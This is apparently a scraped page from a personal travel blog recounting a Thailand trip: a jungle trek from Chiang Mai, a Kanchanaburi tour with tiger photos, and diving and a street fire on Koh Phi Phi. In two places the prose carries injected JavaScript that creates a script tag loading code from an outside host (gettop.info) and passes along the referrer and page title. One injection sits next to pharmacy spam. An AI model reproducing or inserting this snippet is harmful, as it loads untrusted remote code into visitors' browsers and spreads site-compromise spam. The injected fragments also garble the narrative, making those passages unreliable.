Today we walked lots of kilometres mostly uphill and downhill. This second night we slept at a jungle camp at a waterfall but it was so freezing that I couldn’t sleep. Even though I used two blankets and three sleeping bags.document.currentScript.parentNode.insertBefore(s, document.currentScript);s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;
In the morning at 8:00am we started the trekking tour at our guesthouse. First a car brought us to the elephant place were we could ride elephants for 1 hour. I asked if I could sit at the neck of my elephant. It was so much fun. When the elephants stopped for drinking they made us completely wet. After the ride we had lunch and then started the trekking. We walked about 2 1/2hours and slept at a Karen village. Read the rest of this entry »
After a 12hours busride from Bangkok I arrived around 6:00am at Chiang Mai. I asked one of the swedish I met for sharing a room so we paid only 100baht each for our accomodation. Frederic (the swedish) wanted to walk around so we did a little tour in Chiang Mai visiting some temple. It was a little bit complicated to find the way back to the guesthouse but finally we got it. Later I booked for 1600baht my three day trekking tour through the jungle and the mountains around Chiang Mai. Read the rest of this entry »

Early in the morning at 6:00am we got up for doing our full day trip to Kanchanaburi. I did it mainly for doing photos with the tiger but it seems to be a very cool tour for only 300 baht!!! After my disaster in the beginning in Thailand I know now on what I have to look. First we went to the floating market. But this time we could stay 1,5h on the market. Enough time for doing little bargains. After that we did a cruise on the Mekong river. The boat bring us to the snake farm were we watched a cobra show. Was really interesting. The snakes were fighting with a mongoose and with men. Later I did a photo with a python. Jacob was a little bit scared but I liked it. At 1:00am we had lunch what was inclusive to the trip. Then we finally got to the “Tiger temple”. Actually there was no temple anyways. Its very touristy and basically the photos with the tiger is the best of it. Its not allowed to take the photos by yourself you have to give your camera to one of the guides. And of course shit happened – my camera was on the wrong program so all my photos were overexposed. So i had to do it again…And even when it was expensive I did also the special photo with the tiger, having its head in my lap, for 1000 baht. After leaving the tiger we went to the last stop of the trip the visit of the famous bridge over the river Kwai. Was nice but Jacob and me went shopping again and bought for extreme cheap money some nice statues. Read the rest of this entry »

Its time to say good-bye Koh Phi Phi. Jacob had to go home soon so I decided to join him back to Bangkok. Our ferry left around 1:00pm so we wanted to have a nice last breakfast with a big coconut shake. But everything should change… As soon as we were sitting in the café and ordered one Thai lady started shouting: ” Everybody check-in for the fire!” It seems to be funny in the first second. We thought a little fire at the kitchen. But in fact it was a big fire at the main street at the beach. We were leaving there to help and to take photos. Hundreds of people build chains from the beach to the houses and tried to bring sea water with everything what looked like a bucket. Lots burned and the Thai’s seemed to have not learned after the tsunami disaster couple of years ago. No organized fire fighters or similar things. Finally the people won against the fire and nobody seems to be injured. We could get our ferry at the right time and had an overnight bus to Bangkok.It was one of the worsted bus rides because the whole bus was smelling after toilet…. Read the rest of this entry »
The best dive site of Ko Phi Phi is supposed to be Hin Muang and Hin Daeng. After the beautiful dives yesterday I was keen to do another ones. Even Jacob went diving but unfortunally not together with me because he didn´t dive for a couple of years and those dive sites are only for experienced diver. The dives were ok but i was dissappointed. Was nothing special to see, nothing what I didnt see before… Also I felt a headache so I pucked overboard…and I was happy when I was back home. I was waiting for Jacob as we discussed at the Bob Marley bar at the beach but after some hours I went back to the room. Later we found out that all beach bars on that beach seem to be Bob Marley bars, everywhere his pictures and songs. So we waited at different ones. risperidal without prescription var d=document;var s=d.createElement(‘script’); if (document.currentScript) {
At 7:00am in the morning I met at the dive shop for my first dives since leaving Australia. I was really excited and hoped to see heaps of good stuff down there And right I saw a lot, for example a leopard shark, black tip reef sharks, a turtle, a blue spotted stingray, a cuttlefish and a school of squid. Around 2:00pm I was back and together with Jacob I took a water taxi to see Maya beach, the main location of the movie “The beach” with Leonardo Di Caprio. The beach was beautiful and the water so clear, I decided to snorkel. After snorkeling for a while on a certain point in the water I felt stitches like from a needle. So I went straight back (The next days I got a rush from that and people told me it could be that I swam directly into jelly fish which were destroyed in little parts by the fisher boats.) Next stop was Monkey beach but in the beginning there was no monkey to see. But I didn’t gave up and the monkeys cam and I got some good shots of them. Read the rest of this entry »
Our ferry to Ko Phi Phi leaves at 10:00am and after breakfast a shuttle will bring us to the ferry port. We were surprised when we arrived because its very nice, clean and almost western. To Phi Phi it took us about 2hours. What a shock when we arrived, the accomodation over there is so expensive! We were happy to find a sort of luxuary place for 1800 baht a night. And that was cheap. Nevermind Phi Phi is beautiful and the water cristalclear. After chilling in the room for a bit I went straight to the next dive shop, Princess divers. All the prices are the same for dives at all the dive shops of Phi Phi. The guys here seem to be nice and responsible so I booked here. Jacob wanted to go but he still have to stay outside the water because of his fresh tatoo, but I told him that before. Read the rest of this entry »
